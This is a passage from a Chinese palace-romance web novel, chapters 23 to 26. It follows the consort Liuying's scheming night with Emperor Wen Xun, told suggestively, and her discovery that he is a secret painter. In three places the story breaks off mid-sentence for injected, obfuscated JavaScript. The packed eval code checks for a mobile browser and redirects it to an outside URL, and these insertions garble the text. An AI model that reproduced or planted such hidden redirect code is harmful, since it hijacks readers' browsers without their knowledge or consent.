任由发丝随着身体不停变换的动作飘飘摇摇,反添些许自在洒脱。如果再仔细看,就会发现他的唇角也时不时地在稳稳落笔后浮现出一丝满意。 这是专属于闻寻作画时的随性温柔,宫里有幸见过的,不超过两人。 闻寻喜欢画画,自小便爱捡树枝在泥地里戳戳划划。一碗清水、一根木棍,几乎是他全部的快乐。 方才他看流萤就像个累瘫的哈巴狗一样大趴在桌子上,练了二十几页纸,依旧惨不忍睹。实在觉得闹眼睛,便准备自己画两笔清清眼。 “过来。” 闻寻越画手感越好,就想叫流萤也过来看着。 但无人应声。 闻寻抬眼,竟发现对面坐的流萤,已不知何时完完全全趴进纸堆里、做起了春秋大梦! 啪地一摔笔。 她为何总是如此大胆?! 不是跟自己梗脖叫嚣,就是用这样让人根本料想不到的方式气自己。 她难道不知,自己随便编个理由就可以即刻命人杖杀了她吗?闻寻是真的恼火。 放眼宫中,哪个女人不是万般小心依附于自己,凭什么她就这么不屑于讨好自己?就这么不想得到自己的宠爱?! 从前故意猜错数字是,现在他都屈驾赏脸到这种地步了,怎么还是?! 越看她睡得沉稳,闻寻就越觉得快要气炸。犹如一只狩猎于暗夜的狼,眼神中处处透着凶狠。 可他却偏还得忍住一口咬上流萤脖颈的冲动。 任由暴走的血液在体内横冲,死抿着唇劝服自己,不正是因为流萤大胆,才决定利用她去解决江绮玉的吗? 不正是因为知道流萤对自己无情,才决心必须要先赢来她的心、而后再狠狠碾碎吗? 闻寻不断调整着躁怒的气息,良久才松开早已揉破了的画纸,满身戾气靠近流萤。 她睡得很急,急到手中毛笔都来不及搁下。乌黑的墨汁早已晕染开大片,渗透了宣纸,当然也染脏了她紧趴在宣纸上的脸颊。 或许是墨汁干在脸上开始变痒,他看见流萤的眉毛微蹙,眼皮微动,就连鼻梁上那颗小而艳的红痣、都随着鼻尖的鼓动而轻轻曳动光影。 那光影也像在气他。 闻寻一错不错盯着那张脸,死死攥紧拳,抑制要一把提起流萤的冲动。 他一遍遍告诫自己绝不能那样做,那样就会白白浪费了自己这一大天屈尊降贵演的戏。 他也要忍,而且发誓要比流萤更能忍! 于是,流萤脸上的鲜活就那么一帧一帧、全都刻印进了闻寻的幽暗深邃的眼眸里,自然也包括她两瓣殷红嘴唇上下吧嗒,突然呓语的那句,“求求你了,明日再练吧”。 “你是猪吗?学不会就睡觉?!”闻寻还是没忍住。 流萤那句梦话冲破了最后一道闸门,使得汹涌的暗潮,泄了闻寻满满一胸膛。 他用力抽出流萤手中歪斜的笔杆,使劲敲在了她的脑袋上。 流萤被疼醒,吓了一大跳。忽地坐起,目瞪神迷。 梦里王爷闻景的戒尺也是刚好落下,不过却轻柔万分、尽是宠溺,与眼前突然出现的这张阴沉冷峻的脸一点不像…… “啊!”流萤下意识惊呼出声。 待眼前身影彻底覆盖住梦中人影,流萤才晃晃脑袋,慌张补上一句,“皇上恕罪”。 救命,怎么梦见王爷了。 还是当着闻寻的面儿。 流萤知道自己一直有墨汁味儿闻多了就爱头晕的毛病,这是早几年在积元寺整夜吃不上饭还得抄佛经时留下的后遗症。所以方才一直控制自己呼吸很浅,可没想到,还是昏昏沉沉睡过去了。 从前连抄三夜经书都能硬撑过来的,今儿怎么如此失了戒备? 流萤在心里狠狠给了自己一巴掌。又想一定是因为屋里太暖和了,不似积元寺那般冷风打人,才使得意志力也跟着懈怠了下去。 嗯,一定是这样。 找到了根源,眼睛就不自觉往紧闭的窗户那边斜过去。她暗暗告诫自己,以后这窗子必须时刻欠个缝儿。 尤其若是闻寻再来,即便三九寒冬,也决不再可做那温室萎靡之花。 胸膛里的剧烈心跳还未完全平复,流萤脑海中依旧是方才被闻寻敲醒时的那个画面。她害怕自己说漏了什么,只想尽快逃离这阵心虚。 “皇上,您不困吗?夜深露重,不若嫔妾先送您去寝殿休息吧。”流萤强行扯出温柔笑意,说得关切。 “送?” 闻寻阴恻恻吐出一个字问她。 流萤眨眨眼微怔,“送”怎么了,跟他客气点儿不对吗?难不成他真的听到了什么、不打算就这么走? 却根本没料到闻寻想强调的重点是,“你不睡?” 闻寻阴凄凄再问。 流萤这才恍然大悟一般,立即堆上更加刻意的讨好笑脸道,“嫔妾不得将这些都画完嘛。” 边说边从闻寻倾斜的身下找空钻出。 闻寻站着在高、她坐着在低,本就压迫感十足。再加之流萤此刻的心神仍未安定,怎么着也不能再继续这个姿势。便顺势攀住闻寻撑桌的胳膊,一个转身,翻了出来。 故作乖顺说道,“皇上细心指点,嫔妾焉敢辜负?定把那些粗线细线全都画得平平整整、规规矩矩。” 闻寻将她一气呵成的动作尽数收在眼里。 他能感受到流萤搭在自己胳膊上的手很软,能听到她想安抚自己别气恼她偷懒的声音都也很软,甚至可以用娇声细语来形容。 是那种平日听了便会厌恶推开的甜腻。 可此时此刻,闻寻却破天荒地不想拆穿。甚至胸膛里那股熊熊燃烧的怒火,也意外地正一点点被熄灭。 任由流萤继续挽着自己胳膊往外走,那一脸的讨好亲昵,竟还莫名让他产生一种十分奇异的、从来没有过的感觉。 或许是他今日做这么多、就是希望能换来流萤这么对他。 征服快感的背后,更像有立春那日第一缕穿透、并驱散整个严寒的阳光照下来,微妙而又生机勃勃。 奇怪。 心头怎么也好似有一股电流经过? 一定是她笨手笨脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339269|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,捏到了胳膊上某处一碰就能使人发麻的经络。 闻寻甩甩胳膊,企图甩开她。 流萤却挽得更紧,根本甩不掉。那种奇异的麻酥感便也依旧存在,弄得他极不自在。 下意识又皱了眉,没想到,胸膛里那刚有熄灭趋势的火苗,竟也跟着在一瞬间复燃起来。 “朕自己会走!” 其实他也不知道自己在急什么,总之就是不想跟流萤待在一块了。 流萤看着闻寻气哄哄彻底扬长而走,脑海里才敢再一次浮现起梦里跟闻景讨价还价、说今日不想再与他学下棋了的场景。 那是刚决定用她顶替贺之遥进宫不久的时候,闻景给她安排了两只手都数不过的课程,日日不停。尤其是读书明理、修身养性这些,更是由闻景亲自来教。 闻景还说,琴棋书画里,大家闺秀至少要有一门擅长的。 琴,她不爱听。 书,她写够了。 画,又太难看。 最后只得选了闻景最擅长、也是最爱的下棋。 流萤想,这种二人对弈的活动,应该很适合进宫后跟皇帝增进感情。 而且为了皇帝的面子,又一定不能赢了去。那谁还能知道她究竟是故意输的?还是真的不会呢。 所以流萤学的时候,就多多少少爱偷懒,还很不幸地每次都能叫闻景发现。不然,也不至于连在梦里都是讨好求饶。 是的,流萤不是第一次做这样的梦。闻景要考验她的东西,也不止下棋…… 然今晚,就在被闻寻叫醒的那一瞬间,她清楚听到了自己在梦里说过的那句“求王爷可怜可怜我,明天再练吧”的尾音被拖了出来! 那声音是如此的缥缈,又如此的清晰,仿佛虚散在现实与梦境的两边天上、各占一半。 所以她不敢再留闻寻在身边,怕他会问自己做了什么美梦、又囫囵说了什么。哪怕浪费今晚这样大好的接近机会,也得送走闻寻。 而独坐在寝室的闻寻也思绪纷杂。 宝珠早将寝室烘得暖融融,导致闻寻一进去就觉得胸口沉闷,即刻命人开了窗。 他坐定床榻边,床柱上挂的帷幔被冷风吹鼓,有一下没一下地往他身上刮着。 忽而风大了,竟就将帷幔吹到他的脸上。冰凉、滑腻,甚至还有股薄荷香,跟流萤方才贴上来时的味道很像。 弄得他心更烦、气更躁。 皇帝留宿嫔妃宫中,哪个不得时时刻刻、高高兴兴陪着。怕是几百年也挑不出一个像流萤这般,敢把皇帝独自晾在一边的妃子。 不禁想,她该不会是早已心有所属,又不得已进宫,就只能跟自己玩为人守身如玉这一套?! 闻寻越想越烦躁,不仅是生气自己都送上门了,流萤竟仍不愿意自己碰她。更是后悔自己怎么就没有在流萤挽上胳膊的那一刻、狠狠推开她呢? 甚至还莫名其妙感受到什么别样的情愫。 明明他最烦女人故作娇媚。 即使是在江绮玉用了迷青药后,在他面前搔首弄姿,他仍能分清什么是身体不可控制的反应、什么是心理彻头彻尾的厌恶。 可这是怎么回事? 难道真是知道流萤没有存勾引自己的心思、所以就不觉得她的撩人妩媚是令人作呕的? 可恶!她怎么就不想勾引自己呢! 那她何时才能对江绮玉下手啊?! 不行! 闻寻猛一拍腿起身,气冲冲夺门而去。箭步流星回到书房,砰一脚踹开大门。 “不许画了!赶紧过来伺候朕就寝!” 24. 又快乐了 即使没有甘泉殿繁多的那些道序,只由宝珠和林保益手底下一名小太监伺候洗漱,二人折腾到床上也已快到寅时。 秋凉霜重,流萤露半个身子躺在床榻外侧,她看窗外的月色也觉格外冷清。 因有前车之鉴,她特意吩咐宝珠把窗户欠个小缝再走。旁边的小太监也听到了,担心会冻到自家主子,抬手便要制止,还是听到闻寻开口说了无妨,才应声退了出去。 “我叫宝珠,敢问这位小公公怎么称呼?”宝珠悄咪咪问道。 皇帝留宿,随行而来的宫奴围满了熠光殿,但留在门里面等候差遣的只有他和宝珠。 “姑娘叫我小福子便成。” 小福子声音很平和,清清爽爽的,不似他师傅林保益那般轻佻油滑,也不似小金子那样硬声呛人,倒叫宝珠有些意外。 再加之漫漫长夜,宝珠还是第一次这样站整晚值夜,怕困就想跟他多说两句话。 “晚上还挺凉的呢,福公公明日能得空休息片刻吗?”宝珠悄悄移动了鞋尖,凑近几分问道。 她这样站一晚睡不了觉,明日主子一定会让她多休息休息。但流萤这样的主子是少数,小福子跟在皇帝身边,应该一刻也放松不得吧,宝珠刚一问完就意识到不妥了,想解释点什么,只听小福子已经把话接了过去。 “不用,偶尔一夜也算不得什么。” 好在小福子的声音依旧平淡,宝珠舒了口气偷偷瞄他一眼,想知道小福子是不是真的没有不高兴,可瞄到的却是他仿佛静止了一般的模样。 脸上一点情绪没有不说,就连眼皮都不怎么眨,就那么静静盯着地面,一点没有想和自己继续唠下去的样子。宝珠便索性也闭紧了嘴,不再作声,以防多说多错。 她的本意是想给皇上身边的奴才留个好印象,多熟络熟络,以后若有点儿什么皇上的消息也好能不吝啬知会一声。她也想为主子出点力。 夜里很静,熠光殿里更静。静到闻寻已是平稳的浅眠声扑在流萤耳侧,仍吵得她睡不安稳。 流萤犹豫很久,她是真的不想放过这个近在眼前的争宠机会,她需要闻寻的恩宠和赏赐,才好引关采曼进套。 可此时若是主动贴附上去,岂不就跟恬不知耻的江绮玉一个样了吗?不行,闻寻反感这个,他喜欢的是卢访烟那种清清冷冷、遗世独立的孤傲样子。 但自己若也学清绝冷漠那一套,又永远争不出个头、永远叫人比着。即便东施效颦赢来几日侧目,也无法真的在闻寻心中留下什么深刻印象。这也不行。 流萤平日里自信洞察人心绝不出错,连闻景那样惯于隐忍不发的都叫她找到了突破口,难道她还能不知如何拿捏只会气急跳脚的闻寻的心了? 地砖上的月光如水般流淌,清冷而发亮,偶有风动窗棂的剪影从中掠过,竟晃得流萤无法专注思考,索性翻身过去,或许对着目标能更快想到办法。 不料,睡不着的不止是她。 闻寻也正亮着眼睛看自己,而且闻寻的眼神更加满是探究,好像已经研究她的背影许久了。 见自己转了过来,他便眉梢微挑,唇角勾起一抹淡不可察的笑意,像是自负得意,又像是嘲弄不屑。 “想明白了?”闻寻幽幽地问。 什么想明白了? 流萤不解,只觉得那凉薄的声音比暗夜月光还冷冽,引得她一阵激灵。下意识攥拳才发现,自己的手竟在方才转过身来的时候,就搭到了闻寻放在衾被的手上。 怪不得他那样问,一定是以为自己要主动献身了吧? 流萤不想做江绮玉,便准备先把手缩回去。却被闻寻反手拽住,不放寸步。 “既是想明白了,就再凑近点。”闻寻低语。 声音比上一句暗哑,除了戏谑,好似还有一点……引诱的意味? 流萤第一次怀疑自己听错了,但拧眉看他势在必得的神色又分明就是那个意思。 难道他一整日屈高就下真就为了这个? 那他直接传自己甘泉殿侍寝不就行了,何必如此做戏呢? 流萤手心里不知不觉已渗出冷汗,手背上却还有另一只更加冰凉的手正在不断收紧、摩挲。 那动作像极了猎户对不小心踩进捕兽夹的兔子假意安慰,实则心里早已贪婪地想好要将其整张剥皮做成帽子。 流萤突然开始变得有些紧张,气息渐促。被闻寻捕捉到,手上的动作便更加肆意。 等等,他这么乐于见自己投怀送抱,难不成……他一直就在等这个?! 难道是因为前两次的不欢而散,才让闻寻这么馋她这块儿没到嘴的肉,甚至馋到了希望这块儿肉能“主动”跳进去他嘴里吗? “嘶。” 流萤才将将想明白一点,腰身就被闻寻的另一只手一把揽过,抵靠在了他冷硬的怀里。她的头也被顺势拉近,稍一抬就正对上那双灼灼逼人的眼睛。 即便夜里很暗,流萤依旧能清晰看到闻寻幽深的眼光里不断有冷焰跳动,肆无忌惮地侵略着她每一寸肌肤,恣意妄为地灼烧着她每一根神经。 如此赤裸裸的暗示让流萤瞬间心跳加速,她毕竟没有真正拥有过男人。 但她仍要强迫自己保持清醒,不断在心里设想,如何回应才能依旧占据主导?如何才能让闻寻仍像之前那样记挂着自己? 可是闻寻却像是故意使坏,偏不给流萤机会思考。才放开她的手,那几根冷冽如石的手指又蜿蜒滑上了她的脸颊,一下下描绘她鼻上的红痣、一下下摩挲她微颤的嘴唇。 留给她的时间真不多了。 流萤从未觉得,时间也会是这么危险的东西,逼迫得她不敢眨眼,好像眨眼的那短短一瞬都会发生惊天动地的变化。 她感受着那冰凉好似毒蛇的手还在不断向下,千钧一发,一个能救她于水火的词终跃然于眼前。 反攻。 闻寻不是期待她的主动嘛,那就彻底如他所愿,将“主动”的攻势进行到底,好叫闻寻的潜意识里永远记得:这场游戏她才是真正有资格说开始的那一个。 但不是江绮玉那种妖娆献媚,而是精神上的引导。 她只需小小的引导就好。闻寻此刻已是箭在弦上、自己会发。 尽数想通后,流萤便找准时机,启唇一口咬上了那撩拨她许久的指腹。 第一口很用力,仿佛带了十足的恨意。她能感受到手指的主人颤栗了一下,可她没有松口,而是继续磨吮着。 一下、又一下…… 直到那指腹间寒凉如玉的温度,彻底被她的小舌温热,她才再次用力咬下第二口。虽不比第一口那么疼,却也足够拽回闻寻神游飘远的思绪。 都说十指连心,闻寻今日才真正体会到是怎么个连法。 流萤咬他的手指,他的心竟也跟着那排小牙啃噬的节奏,留下一道湿润而又蜿蜒的小路。 终于她松了口,可这种惊心动魄的感觉却丝毫没有机会停止。 她竟一个挺身,从早已松散的臂弯中钻出,撑起上半身,反攀在了自己的胸膛上。这次倒换她意味深长、甚至带了几分挑衅地看自己了。 那荡漾的眼波,明明是撩人遐想,却意外透着如雪后碧空般的纯净、无瑕。正中闻寻红心。 明知她还是不服输、还是在故意挑战,但就是比千千万万种迷药都加在一起的药劲还强大。 闻寻也不知道自己怎么了,这种心悸慌神是他从未有过的,好像只有把眼前的罪魁祸首彻彻底底融进自己身体,才能平息…… “这样够近吗?”流萤气吐幽兰。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339270|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大方注视着闻寻的眼睛,俯身缓缓贴近,如蝶恋花般,轻轻地覆在了他的唇上。 虽然只有轻浅一下,但却堪比江南春雨,细腻而柔和。堪比山间晨露,纯净而透彻。 闻寻的心也在这一刻停滞,这是他第一次同人亲吻。准确的说,是被人亲吻。 自从那年太后在贤妃有孕的间隙使宗女到他房中下药、企图再怀身孕后,他便对谄媚虚伪的女人厌恶到了极点。即使当这个皇帝就逃不掉必须有嫔妃侍寝,他也绝不允许谁敢逾矩亲自己。上一个妄想近身的就被他直接打发去了冷宫。 可这次,闻寻却想吻回去。 或许是流萤那狡计得逞的笑意刺痛了他的眼,又或许是方才的这个浅浅一吻真有不可抵抗的吸引力。 总之,他就像是着了定要与其较真的魔,非要由自己主导、再体验一次。 闻寻眼疾手快捏住了流萤欲抽离的下巴,用力拉下,紧紧贴回了自己的唇瓣。 突如其来的惯性使得流萤的长发如瀑布般垂落,有几根大胆的更是顺着唇角钻进了二人舌间。交织着、缠绕着,流萤只觉得很痒。一点不知,那几缕青丝其实已经变成了某种奇异纽带,正牵动着闻寻的心发生微妙变化…… 闻寻的吻还在加深,带着侵略和不甘,也带着肆意和享受。很快就剥夺了她全部的呼吸和思绪。 流萤终于确认,这个时机,她抓对了。 她奋力咬下闻寻仍在索取的舌头,腥甜的血味瞬间蔓延整个口腔。 再趁机推开因吃痛而稍有松懈的闻寻,舌尖轻轻舔过唇角的鲜血看着他,仿佛在品尝胜利的滋味。 “皇上,再有不到一个时辰就该上早朝了,您不睡会儿?” 流萤的脸颊还挂有红晕,连吐出的喘息都带着朦胧,扑在闻寻鼻间,又激起一阵心神荡漾。 他突然很想要她。 不同于找从不惹他心烦、让他相处极为舒适的女人释放,而是一种身体里最本能、最原始的欲望被激发了出来的感觉。 说他带着必须征服流萤的欲念也好,说他死也不肯在流萤面前认输也好。 总之,闻寻就是想要她。 甚至渴望她。 “一个时辰足够了。” 他翻身抱起流萤,仿佛怀抱一株盛开在幽谷中的玉铃百合,热烈又纯净,远胜过所有露骨妖艳。 闻寻再没见过比这更诱人的,只想一尝到底。 他也不知道自己今日的目的是不是达成了,只知道这一刻的畅快是过去十几年间从未有过的。 如果不是流萤身上有那么多的不可能,闻寻都想永远留她在身边了…… 寅时更声已过,外间有奴才来叩门叫闻寻起身。 闻寻没有应声,只再次咬上流萤胀红的耳垂,嘶哑着道,“看来一个时辰并不够啊……” 流萤听得脸颊快要滴出血,无力推搡着赖在身上的重物,从未觉得一个时辰如此漫长。 大抵又过了一盏茶的时间,闻寻才心满意足起身,传唤宫人进来伺候。流萤则赧然地凭最后一丝力气挪到了床榻最里侧,不光是腰酸背痛、懒得起身恭送他,更是羞于和即将看见满床欢愉痕迹的宝珠对视。 但宝珠并不知道,进来看见扔了一地的衣裳,也只当是皇上疼爱主子疼爱得真切,几日不见就这么想。心里别提多高兴了。 待伺候送走皇上,便小跑回来利索捡起地上的衣裳,一边捡还一边告诉流萤,小金子已经备好了早饭,都是她爱吃的。 “我先沐浴。” “不行呀主子!”宝珠闻言突然惊呼,脸上还带了些许不好意思。“奴婢没进宫前听隔壁婶子说过,那个……那个什么之后不能立刻去洗,不然很难有孕的。” “哦,是吗……那现在就洗吧。” 25. 他的秘密 流萤仔细想过,既确定了早晚都要离开皇宫,她就不能怀上闻寻的孩子。 孩子也有自己的人生,不能因她的一己私利就擅自决定孩子今后的道路。 如果有一天,他知道了自己实为显赫尊荣的皇室子孙,却因种种意外,过不上本该属于他的钟鸣鼎食的生活。会不会也要跟现在的闻景一样,觉得命运不公? 况且,自己一人想要逃离出宫已是难事,若再带个小孩子,只会增加风险无数。 这么多的不确定摆在眼前,无论怎么衡量,流萤都觉得极不保靠。于是暗自决定,下次贺九仪来请平安脉时,得跟他要一些避孕的东西早做打算。 “春桃怎么样了?可有再交代些什么?” 流萤沐浴后神清气爽,身下的肿胀酸涩也缓解不少,若非胸前还有洗不掉的点点红痕,她完全可以将昨晚的事儿抛在脑后了。 索性扣下铜镜不再去看,只抿上衣领,传唤进来小金子问起正事。后院可还躺着一个人呢。 “奴才给春桃用了一些汪才人之前送来的芦荟膏,她脖子上的红肿已经散了很多,只要把领子立高些挡上就看不出来了。手上的水泡也都挑破了,但创面大,怎么着也得十天半月才能好利索。” “不过主子无需担心,奴才们的手本就没那么金贵,即使叫人瞧见破皮了,也不会引起什么怀疑。”小金子说得平静。 “春桃如今知道了主子的手段,连带着对奴才也很排斥,每次给她送饭都躲远远的。奴才索性恶人做到底,直接逼她先说些什么,觉得有用,才把饭放下离开。” “春桃说小盛子很疼爱红绡这个妹妹,以前他们同在庆祥宫当值的时候,看见过几次小盛子来给红绡送绢花那一类的小玩意儿。宫女不能带朱钗,再爱美也只能在绢花上动动心思。春桃说红绡的绢花总是很新颖、很少见,问好些遍,红绡才悄悄告诉她是小盛子托人从宫外面带进来的。” “前几日碰面,红绡戴的也跟以往不同,春桃猜测应该是最近新得的。因为红绡向来留不住新的东西,这一刻给她,下一刻就要用上。” 小金子像是把攒了两日的话一口气说完,但又句句有重点,听多了也不觉得聒噪。 流萤满意点点头,这次临危受命的试探,无论怎么看,小金子都是一心想把事情办得牢靠、办得漂亮。 有想法即刻会表达,一点不跟自己掖着藏着,该下手时又稳准狠,确实是难得的帮手。 最重要的还是小金子只和自己知无不言,在外人面前依旧寡言低调,不招是非。甚至包括相处最多的宝珠,流萤若不发话,他也不会叫任何消息流进她的耳朵去。 至于他从前在文禧宫和泰然宫当值时,遇没遇到过什么特别的人、发没发生过什么特别的事,就要等流萤人脉再广一些后才好调查。反正目前看,小金子是别无二心的。 “倒是叫你做这个坏人了。”流萤笑着打趣,她还是挺欣赏小金子敢于利用自己缺陷来达成目的这一点的。人人都有缺陷,重要的就是你怎么看待它。 “什么坏人?哪儿有坏人?”宝珠端着红枣银耳粥进来,不住地张望。 虽说知道流萤现在还不想要孩子,但她也坚持按贺九仪写的对身体有益的餐谱给流萤准备吃食。 流萤并不知道宝珠的这些小心思,只是闻着香,而且自己折腾一晚也真的饿了,伸手接过来喝了个干净。 喝完余光瞥见宝珠还在捅咕小金子问怎么了,便使了个眼色替他解围。还让宝珠别烦他,赶紧收拾收拾好跟自己去书房,继续完成闻寻让她画的那些粗线、细线。 如此勤奋,任谁看了都得当她是真心想练习。只有流萤自己知道,她做这些表面功夫,不过是为了去找闻寻要赏。当然了,前提是如果过了晌午、该给她的侍寝赏赐还没下来的话。 初次侍寝必得恩赏,这是祖上传下来的规矩。虽然闻寻才是建国后的第二位君主,但给些东西而已,总不至于这么抠搜吧。 早前汪芷柔和孔映欢初次侍寝后,除了尚服局拿去的衣裳首饰,闻寻也都另给了东西。比如赏给汪芷柔的一支珊瑚步摇,她就戴来给流萤看过。 当时汪芷柔还问过闻寻给了她什么,流萤为了遮掩,便随手从尚服局送来的那套玉兰点翠头面里抽一根发簪出来,说是这个。 如今流萤已经想好,如果闻寻真那么小气,想光着占便宜,那她就主动开口要。这他总不能再装傻了吧。 可她脸皮再厚,也委实不好意思直接说要侍寝的赏赐,就想着用“交课业”的方式去讨。 流萤推开书房的门看见满地宣纸,不自觉想起昨晚偷懒时做的那个梦、想起后来和闻寻发生的恩恩爱爱。 即便宋婆子和宫里嬷嬷都领她模拟过很多次,甚至闻景也……启发过一二,但真到了初尝滋味的羞涩袭满全身,她还是不受控地狠狠打了个激灵。 于是使劲儿摇摇头,摇散那些有的没的。而后才蹲下去捡被扔一地的宣纸,想从那堆“破烂”里挑出一两张勉强还能充数的。少画一张是一张。 可流萤实在是想多了,千奇百怪十多页,愣是没一页能看得入眼的。真不怪闻寻生气,流萤自己再看了那些七扭八扭的线条都觉得好笑。 看来她真没这些个名门大小姐才有的天赋,骨子里的东西真就装不出来。 只好无奈团成团准备全部重画。刚坐回到书案旁,看见桌上还有一个纸团,已经被捏成实心的了。这可不像自己捏的,难道是闻寻? 本以为也是她堪入目的画作,正准备一起扔了,但流萤突然又担心会不会是自己半梦半醒时瞎画了什么,惹得闻寻气急,才惨遭毒手? 遂匆匆打开,不料却是一幅线条流畅、工笔出色的山水图。虽然只画了一半,但那不凡的笔力还是一下子就能叫人看出来。 这是闻寻画的? 流萤使劲儿回想,好像确实有他俩各坐书案一端、写写画画的场景! 他画得这么好吗? 完全看不出来啊! 流萤满脑子问号,她从上到下又看了好几遍,突然觉得有些眼熟。这一泄到底的云雾,好像在哪儿见过吧…… 在哪儿呢? ! 流萤心里咯噔一下,是紫宸殿吗? ! 没错!就是紫宸殿! 初见那副山水画上从顶端倾泻而下,一直流到底部的云雾时,流萤就觉得意境非凡,很有印象。她伸出手指仔细感受那些起伏山峦的走线,确认无疑,跟自己印象里的一模一样。 流萤记东西一直靠画面,任何回忆在她脑子里都是有形状的。 闻寻竟就是她翻了半个藏经阁也没翻到的画家子诀吗?! 可闻寻的字不是恭言吗?还有闻景的字恭誉,恭慎主礼、君子誉言,都是先帝赐的。 难道他又给自己起了个小字? 可这个“诀”字……流萤只能想到诀别。 阴沉、晦暗,倒是和闻寻很相符。但她就是想不通,怎会有人给自己用这样消沉的字号。 流萤将宣纸放在书案上,想尽量摊平,可她从小到大都不是个干精细活儿的人,尽管已经很小心地去碾开上面的褶皱,奈何破洞实在太多,稍一用力,就会碾开更大的破口。 流萤心里有些不是滋味儿。 甚至有些看不起。 闻寻再不济、再不如愿,也比那些真的吃不上饭的苦命人优渥太多。他们尚且为能看见每一天的太阳而挣扎、而庆幸,闻寻又凭什么自堕沉沦。 难道就因为父亲不疼爱、母亲也不在了吗? 可她不也是吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339271|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 索性摊手一扔,喊来宝珠继续弄,“仔细着点儿,修复好了兴许能给你换一大块金锭子。” 流萤默念“子决”二字,仅管带着鄙视,但为了尽早达成自己的目的,还是细细琢磨起,能否也用柔情攻心的那一套,拿下那个阴暗又易怒的闻寻。 这可是个举足轻重的秘密。 又想起叶知秋,她应该还不知道吧。且不说紫宸殿里没几人去过,只说那挂在甘泉殿壁上叫人面红发烫的春艳图,就没几个女人敢和自己一样好意思看得那么仔细。 不然,聪明如她,怎会想不到要利用这一点得到闻寻的宠爱呢? 流萤清楚记得闻景曾说,是因为前面的线人不得宠,帮他吹不了枕边风,所以才需要再送个美人到闻寻身边,干扰视听。 闻景说这话时,不仅失望溢于言表,更有几分微不可见的狠绝杀意,也险些从眼底跑了出来。流萤亲眼看着,更加认定绝不能与其一条道走到黑…… “主子,这是皇上画的吗?” 宝珠惊讶问话打断了流萤的思绪,她深吸一口气点了点头,算是回应。 “天呐,这真像样儿。奴婢还是第一次看见皇上画的画呢,瞧瞧这山、这云,比您那小鸡啄米图逼真了不知多少倍!” “难得皇上肯教,主子可一定得跟皇上好好学呀,这是别人求都求不来的呢!” 宝珠知道了画出自谁手后,手上动作虽然变得更加小心,小嘴却是高兴地叭叭根本闲不住。 夸了好几遍后又道,“听宝华楼的姐妹说,去年凝婕妤生辰,皇上给凝婕妤画了幅画像,那叫一个真、那叫一个美。凝婕妤喜欢的不得了,挂了两天又担心落灰没法儿清理,才叫人好生收了起来。” “主子,您要是跟皇上学好了,说不定皇上一高兴也能给您画一幅呢!”宝珠抓着流萤的手,激动得像是已经得到闻寻亲笔画了一样。 呵呵。 流萤撇嘴嗤笑了一下,她才不稀罕,别再给她画成甘泉殿里那种不穿衣服的了。 他对卢访烟是喜爱,对自己却是……是什么呢?是必须要征服的执拗?还是宣示皇权的炫耀? 总之不是喜欢就是了。 但宝珠有句话说的不错,她是得跟闻寻好好学。 倒不是为了画得如何,而是流萤要抓住这个别人没有的、唯她能与闻寻独处的机会。 就像之前学对弈下棋,她不也是想用到二人独处时培养感情的嘛。比起更高深的围棋,还是画画更简单、更容易有“进步”。 闻寻应该不会像自负王爷那般喜欢欣赏自己调教出来的成果,但她仍可借不断进步的画笔来表达对闻寻的“喜爱”。 流萤想,既然闻寻对自己昨晚的主动进攻很是受用,那就表示她可以放心大胆地沿用这种表达方式。只要能一直掌握主动权,就能让闻寻一直记挂着自己。 意及此,流萤画下的线条也更有力了,很快便规规正正画完了二十页纸。 简单收拾收拾,换上一条在萧索秋日里较为显眼的蜜蕊色高腰襦裙,外罩一件不抢色的沧浪暗纹披风,便带着宝珠往安仪殿去了。 掺了金线的华服在阳光下一照,显得温暖而耀眼。很适合她这个成功复宠的妃子。 流萤带着宝珠从御花园抄道,路上碰到宫人,有眼尖的认出她正是昨日跟皇帝并肩同行的,还知道带上贺才人的称呼再跟她行礼。听得流萤心里十分舒服,暗道还是当宠妃好啊,谁都得忌惮着。 可当宠妃也有一点不好,那就是碰上位份比自己高、却没自己得宠之人的时候。免不得遭一顿白眼妒忌。 “给向昭容请安。”流萤给向若蝶规矩行了一礼。 宫中九嫔之首的昭仪之位如今空悬,稍次之的昭容,便是二品嫔里最拔尖的。 26. 遇三皇子 向若蝶的父亲是常年驻守西边防线、掌兵十万的怀化大将军,虽比不得阮家那位兵在长安的镇国大将军,但也震慑力十足,叫人不敢小觑。 当年闻寻初被立为太子,太后就迫不及待从家族里挑出聪慧稳重的贤妃,指给闻寻做良娣。后不过半年,又将被向老将军视为掌上明珠的向若蝶也下旨从西边接进长安,做了太子良媛。此举意欲何为,自不必多说。 